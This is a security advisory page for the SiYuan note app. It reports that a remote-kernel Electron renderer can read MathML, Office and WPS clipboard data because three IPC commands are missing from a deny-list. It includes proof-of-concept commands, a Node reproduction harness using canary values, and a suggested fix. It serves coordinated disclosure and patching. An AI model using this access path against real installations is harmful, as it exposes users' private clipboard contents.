# GHSA-MJMM-HGMC-M7QF: Remote-kernel Electron IPC exposes native clipboard contents to a remote window

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-09-10
- Modified: 2026-09-10

## Affected versions

- siyuan-note/siyuan (npm): pinned-revision-8641553a1f07374001902d3ce773285db1292b2d

## Description

# Remote-kernel Electron IPC exposes native clipboard contents to a remote window

## Summary

At the tested revision `8641553a1f07374001902d3ce773285db1292b2d`, a remote-kernel renderer can invoke `siyuan-get` during the native paste path and receive local MathML, Office, or WPS clipboard data because those commands are omitted from the remote-sender guard. This crosses the remote-renderer-to-native-clipboard confidentiality boundary; the raw-text and file commands remain denied, and the demonstrated path requires a user-mediated paste.

## Technical Details

In `app/electron/main.js`, `initMainWindow` creates the remote window with node integration enabled and context isolation disabled. The `siyuan-get` handler identifies a remote sender with `getWindowKernelTarget(event.sender.id)?.mode === "remote"`.

The guard at lines 2911-2933 denies `beginRichClipboard`, `completeRichClipboard`, `cancelRichClipboard`, `clipboardRead`, and `clipboardReadFiles` for remote senders. The branches at lines 2940-2999 for `clipboardReadMathML`, `clipboardReadOffice`, and `clipboardReadWPS` instead call `clipboard.read()`, compare the supplied `data.text` with the local `text/plain` value, and return the richer native format. That comparison checks consistency, not authorization.

The normal native rich-paste caller in `app/src/protyle/util/paste.ts:618-715` invokes all three omitted commands through `siyuan-get`, passing the text/plain value from the paste event and consuming the returned native formats. A remote renderer can therefore supply the matching plaintext during a user-mediated paste and reach the unguarded branches.

The root cause is an incomplete remote-sender deny-list in a privileged IPC multiplexer. The violated invariant is: no remote-kernel renderer may read or receive local clipboard data through any `siyuan-get` command.

## PoV

The shipped native rich-paste caller has this relevant shape:

~~~js
const [mathML, office, wps] = await Promise.all([
  ipcRenderer.invoke(Constants.SIYUAN_GET, {
    cmd: "clipboardReadMathML",
    text: textPlain,
  }),
  ipcRenderer.invoke(Constants.SIYUAN_GET, {
    cmd: "clipboardReadOffice",
    text: textPlain,
  }),
  ipcRenderer.invoke(Constants.SIYUAN_GET, {
    cmd: "clipboardReadWPS",
    text: textPlain,
  }),
]);
~~~

## PoC

The reproduction harness extracts the actual `siyuan-get` handler from `app/electron/main.js` and uses the shipped `app/electron/clipboard.js` format helpers. The standalone script in the Appendix performs the same extraction and stubs only the operating-system clipboard and sender classification.

For a checkout at revision `8641553a1f07374001902d3ce773285db1292b2d`, save the Appendix script as `standalone-remote-clipboard-ipc-probe.js` in the repository root and run:

~~~sh
node standalone-remote-clipboard-ipc-probe.js primary app/electron/main.js app/electron/clipboard.js
node standalone-remote-clipboard-ipc-probe.js control app/electron/main.js app/electron/clipboard.js
~~~

These commands were captured in the Node.js `node:bookworm` environment (image digest `sha256:9f94d34c787165dca03b74e5bf9c3bf90e8de79b19aa3d87fe1fa1694bf75c89`) with `NODE_OPTIONS=--unhandled-rejections=strict`, against source revision `8641553a1f07374001902d3ce773285db1292b2d`.

The primary invocation supplies a remote sender, matching text/plain, and canary MathML, Office, and WPS values; it also checks the adjacent raw/file commands and a local-window control. The control invocation supplies mismatched plaintext to the Office branch and repeats the raw/file checks.

The following are abridged JSON excerpts; every displayed field is emitted by the corresponding command.

Primary:

~~~json
{"result":"violation","mode":"primary","sourceChecks":{"remoteGuardPresent":true,"rawClipboardGuarded":true,"nativeFormatsOmitted":true,"remoteWindowNodeEnabled":true,"remoteWindowUsesHandler":true},"remoteMath":"<math><mi>REMOTE-MATH-CANARY</mi></math>","officeBytes":9,"wpsBytes":6,"rawControl":false,"fileControl":false,"localControl":true,"clipboardReads":4}
~~~

Control:

~~~json
{"result":"pass","mode":"control","sourceChecks":{"remoteGuardPresent":true,"rawClipboardGuarded":true,"nativeFormatsOmitted":true,"remoteWindowNodeEnabled":true,"remoteWindowUsesHandler":true},"mismatch":"","rawControl":false,"fileControl":false,"clipboardReads":1}
~~~

The primary result shows all three omitted native formats crossing the remote boundary, while the control shows that mismatched plaintext does not produce data and the neighboring raw/file protections still reject the remote sender.

## Impact

An attacker who controls or serves content in a remote-kernel renderer can obtain richer representations of local clipboard content during the native paste path. The disclosed data can include MathML formulas, Office bytes, and WPS bytes, including sensitive document fragments or embedded data.

The demonstrated path requires a user-mediated paste and does not establish silent background clipboard access, arbitrary file writes, renderer injection, or code execution. Severity is Medium because the confidentiality violation is concrete across a privileged desktop boundary, but exploitation requires that interaction and the demonstrated consequence is limited to native clipboard-format disclosure.

## Suggested Fix

Apply the remote-sender check to every local clipboard command before any `clipboard.read()` call. The smallest correction is to extend the existing deny-list with the three native-format commands:

~~~js
const remoteClipboardCommands = [
  "beginRichClipboard",
  "completeRichClipboard",
  "cancelRichClipboard",
  "clipboardRead",
  "clipboardReadFiles",
  "clipboardReadMathML",
  "clipboardReadOffice",
  "clipboardReadWPS",
];
if (remoteSender && remoteClipboardCommands.includes(data.cmd)) {
  return false;
}
~~~

If a command requires a typed empty response, preserve its existing rejection convention. Add regression tests for every local clipboard command as a remote sender with matching plaintext, while retaining local-sender, mismatched-plaintext, and raw/file-control cases.

## Affected Package/Versions

- Package: `siyuan-note/siyuan`
- Ecosystem: npm
- Vulnerable version range: `pinned-revision-8641553a1f07374001902d3ce773285db1292b2d`
- Current head tested: `8641553a1f07374001902d3ce773285db1292b2d` (vulnerable)
- Patched versions: none tested or claimed

Only the pinned revision was tested; no broader release range is inferred.

## Advisory History

The public [GHSA-9rr9-pxr4-gcgc](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-9rr9-pxr4-gcgc) was fixed in v3.8.2 and concerns forged web clipboard formats reaching an unsafe local paste/rendering path. It is a different root cause, boundary, and sink from this remote-renderer-to-native-clipboard disclosure.

[PR 17186](https://github.com/siyuan-note/siyuan/pull/17186) is a file-path clipboard IPC refactor, and [issue 18747](https://github.com/siyuan-note/siyuan/issues/18747) is a request for Word and WPS formula-paste support. These feature records do not describe or fix the reported native-format authorization omission.

The duplicate review checked submitted reports, ready-for-review reports, and completed-but-unsubmitted reports. It identified an earlier report about pasted Kramdown IAL reaching a gutter XSS sink. That issue is distinct: attacker-controlled clipboard markup flowed into an unsafe local paste/rendering path, whereas this finding is an authorization omission that lets a remote-kernel renderer receive native clipboard formats across the remote-window-to-local-clipboard confidentiality boundary. The two issues therefore have different root causes, security boundaries, sinks, and fixes.

## References

- [Electron IPC handler and remote-window setup at the tested revision](https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/electron/main.js#L1943-L2040)
- [siyuan-get remote guard and native clipboard branches](https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/electron/main.js#L2911-L2999)
- [Native paste caller](https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/app/src/protyle/util/paste.ts#L618-L715)
- [SiYuan security policy](https://github.com/siyuan-note/siyuan/blob/8641553a1f07374001902d3ce773285db1292b2d/.github/SECURITY.md)
- [Published clipboard format spoofing advisory](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-9rr9-pxr4-gcgc)
- [Clipboard file-path IPC refactor, PR 17186](https://github.com/siyuan-note/siyuan/pull/17186)
- [Word and WPS formula-paste feature request, issue 18747](https://github.com/siyuan-note/siyuan/issues/18747)

## Appendix: Reproduction Harness

The following reproduction harness is intended for maintainer replay. It reads the checked-out source and shipped clipboard helper from the paths supplied on the command line and emits the fields shown in the PoC excerpts.

~~~js
"use strict";

const fs = require("node:fs");
const path = require("node:path");
const vm = require("node:vm");

const sourcePath = path.resolve(process.argv[3] || "app/electron/main.js");
const clipboardPath = path.resolve(
  process.argv[4] || path.join(path.dirname(sourcePath), "clipboard.js"),
);
const clipboard = require(clipboardPath);

const must = (condition, message) => {
  if (!condition) throw new Error(message);
};

const findMatchingBrace = (text, start) => {
  let depth = 0;
  let state = "normal";
  for (let i = start; i < text.length; i++) {
    const character = text[i];
    const next = text[i + 1];
    if (state === "line-comment") {
      if (character === "\n") state = "normal";
      continue;
    }
    if (state === "block-comment") {
      if (character === "*" && next === "/") {
        state = "normal";
        i++;
      }
      continue;
    }
    if (state === "single" || state === "double" || state === "template") {
      if (character === "\\") {
        i++;
      } else if (
        (state === "single" && character === "'") ||
        (state === "double" && character === '"') ||
        (state === "template" && character === "`")
      ) {
        state = "normal";
      }
      continue;
    }
    if (character === "/" && next === "/") {
      state = "line-comment";
      i++;
      continue;
    }
    if (character === "/" && next === "*") {
      state = "block-comment";
      i++;
      continue;
    }
    if (character === "'") {
      state = "single";
    } else if (character === '"') {
      state = "double";
    } else if (character === "`") {
      state = "template";
    } else if (character === "{") {
      depth++;
    } else if (character === "}") {
      depth--;
      if (depth === 0) return i;
    }
  }
  throw new Error("unable to balance pinned handler");
};

const source = fs.readFileSync(sourcePath, "utf8");
const marker = 'ipcMain.handle("siyuan-get", async (event, data) => {';
const markerStart = source.indexOf(marker);
must(markerStart >= 0, "pinned siyuan-get handler missing");
const bodyStart = markerStart + marker.length - 1;
const bodyEnd = findMatchingBrace(source, bodyStart);
const body = source.slice(bodyStart + 1, bodyEnd);

const mathType = clipboard.rawFormatType("MathML");
const officeType = clipboard.rawFormatType("Embed Source");
const wpsType = clipboard.rawFormatType("Kingsoft WPS 9.0 Format");
const plain = "REMOTE-CLIPBOARD-CANARY";
const mathBytes = Buffer.from(
  "<math><mi>REMOTE-MATH-CANARY</mi></math>\0",
  "utf16le",
);
const officeBytes = Buffer.from([
  0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, 0x1a, 0xe1, 0x4f,
]);
const wpsBytes = Buffer.from([0x50, 0x4b, 0x03, 0x04, 0x57, 0x50]);
const values = {
  "text/plain": plain,
  [mathType]: mathBytes,
  [officeType]: officeBytes,
  [wpsType]: wpsBytes,
};
const items = [{
  types: Object.keys(values),
  getType: async (type) => new Blob([values[type]]),
}];
let clipboardReads = 0;
const sandbox = {
  Array,
  Blob,
  Buffer,
  Date,
  Error,
  Math,
  Object,
  Promise,
  RegExp,
  String,
  Uint8Array,
  clipboard: {
    read: async () => {
      clipboardReads++;
      return items;
    },
  },
  getWindowKernelTarget: (id) =>
    id === 7 ? {mode: "remote"} : {mode: "local"},
  normalizeClipboardText: (text) => text.replace(/\r\n?/g, "\n"),
  rawFormatType: clipboard.rawFormatType,
  readClipboardBuffer: clipboard.readClipboardBuffer,
  readClipboardText: clipboard.readClipboardText,
  getClipboardFormats: clipboard.getClipboardFormats,
  parseClipboardFilePaths: clipboard.parseClipboardFilePaths,
  writeLog: () => {},
  console,
};
const handler = vm.runInNewContext(
  `(async function(event, data) {${body}\n})`,
  sandbox,
  {filename: sourcePath},
);
const invoke = (senderId, cmd, text = plain) =>
  handler({sender: {id: senderId}}, {cmd, text});
const sourceChecks = {
  remoteGuardPresent: source.includes(
    'const remoteSender = getWindowKernelTarget(event.sender.id)?.mode === "remote";',
  ),
  rawClipboardGuarded: source.includes(
    'remoteSender && ["beginRichClipboard", "completeRichClipboard", "cancelRichClipboard", "clipboardRead", "clipboardReadFiles"]',
  ),
  nativeFormatsOmitted: !source.slice(
    source.indexOf(
      'const remoteSender = getWindowKernelTarget(event.sender.id)?.mode === "remote";',
    ),
    source.indexOf('if (data.cmd === "clipboardReadMathML")'),
  ).match(/clipboardReadMathML|clipboardReadOffice|clipboardReadWPS/),
  remoteWindowNodeEnabled:
    source.includes("nodeIntegration: true") &&
    source.includes("contextIsolation: false"),
  remoteWindowUsesHandler: source.includes(
    'ipcMain.handle("siyuan-get", async (event, data) => {',
  ),
};
must(Object.values(sourceChecks).every(Boolean), "source precondition failed");

(async () => {
  const mode = process.argv[2] || "primary";
  const reachability = {
    handlerRange: [
      source.slice(0, markerStart).split("\n").length,
      source.slice(0, bodyEnd).split("\n").length,
    ],
    sourceChecks,
  };
  if (mode === "primary") {
    const remoteMath = await invoke(7, "clipboardReadMathML");
    const remoteOffice = await invoke(7, "clipboardReadOffice");
    const remoteWPS = await invoke(7, "clipboardReadWPS");
    must(/REMOTE-MATH-CANARY/.test(remoteMath), "remote MathML payload was not returned");
    must(
      Buffer.from(remoteOffice, "base64").equals(officeBytes),
      "remote Office payload was not returned",
    );
    must(
      Buffer.from(remoteWPS, "base64").equals(wpsBytes),
      "remote WPS payload was not returned",
    );
    const remoteRaw = await invoke(7, "clipboardRead");
    const remoteFiles = await invoke(7, "clipboardReadFiles");
    const localMath = await invoke(8, "clipboardReadMathML");
    must(
      remoteRaw === false && remoteFiles === false,
      "adjacent raw/file guard control failed",
    );
    must(/REMOTE-MATH-CANARY/.test(localMath), "local-window control failed");
    console.log(JSON.stringify({
      result: "violation",
      mode,
      sourceChecks,
      remoteMath,
      officeBytes: Buffer.from(remoteOffice, "base64").length,
      wpsBytes: Buffer.from(remoteWPS, "base64").length,
      rawControl: remoteRaw,
      fileControl: remoteFiles,
      localControl: /REMOTE-MATH-CANARY/.test(localMath),
      clipboardReads,
      reachability,
    }));
    return;
  }
  if (mode === "control") {
    const mismatch = await invoke(7, "clipboardReadOffice", "WRONG-PLAINTEXT");
    const remoteRaw = await invoke(7, "clipboardRead");
    const remoteFiles = await invoke(7, "clipboardReadFiles");
    must(
      mismatch === "" && remoteRaw === false && remoteFiles === false,
      "negative control returned clipboard data",
    );
    console.log(JSON.stringify({
      result: "pass",
      mode,
      sourceChecks,
      mismatch,
      rawControl: remoteRaw,
      fileControl: remoteFiles,
      clipboardReads,
      reachability,
    }));
    return;
  }
  throw new Error("unknown probe mode: " + mode);
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
~~~

## References

- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mjmm-hgmc-m7qf

Page: https://cve.now/GHSA-MJMM-HGMC-M7QF
